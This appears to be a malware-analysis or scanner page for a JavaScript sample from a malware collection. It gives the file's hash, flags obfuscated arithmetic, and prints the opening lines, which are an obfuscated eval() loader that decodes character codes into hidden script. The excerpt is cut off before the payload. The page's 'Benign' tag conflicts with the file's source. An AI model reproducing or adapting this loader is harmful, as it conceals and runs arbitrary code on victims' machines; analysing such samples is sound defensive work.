Benign javascript-malware-collection Download

a5dcd74a246c85b4cd4c180f9cdc3bf35481177fcf93bdbdd3b0a38b104af383.js

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256a5dcd74a246c85b4cd4c180f9cdc3bf35481177fcf93bdbdd3b0a38b104af383

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var TRLTrWcYyxqxe=[];for(SoKwBeu=(-568+568)/770;SoKwBeu<(62866+622)/496;SoKwBeu++){TRLTrWcYyxqxe[SoKwBeu]=String.fromCharCode(SoKwBeu)}function sQtvo(HYHUAXBbQRW,JRWMOYbLeRjLV,NXDGNDVB){lFSv=parseInt(HYHUAXBbQRW,JRWMOYbLeRjLV);zYGBC=lFSv.toString(NXDGNDVB);return zYGBC;}function XFQCHoFCvEvfRiZ(kfZRjUfvmDHsBZQjG){eval(kfZRjUfvmDHsBZQjG)}
2function vRJfZSrVsODkSnaqekYaQfYnRXvGoefrZitJfiFnlTckLttrgHywsj(azigcOjKpQNVj,bgfSrnhWsNWGtz){ return TRLTrWcYyxqxe[sQtvo(azigcOjKpQNVj[bgfSrnhWsNWGtz],(876+364)/124,(1402+758)/216)];}
3function xGauwCr(TQRZqIWwJKrAtJKTiodZepSpqUuAoLyQFfsB) {return !isNaN(parseFloat(TQRZqIWwJKrAtJKTiodZepSpqUuAoLyQFfsB)) && isFinite(TQRZqIWwJKrAtJKTiodZepSpqUuAoLyQFfsB);}
4function qzfJPvCqQSg(SaqJWJAh,hgbJdS){return SaqJWJAh.split(hgbJdS)}
5var t=[];t.push("13");t.push("10");t.push("13");t.push("10");t.push("118");t.push("97");t.push("114");t.push("32");t. …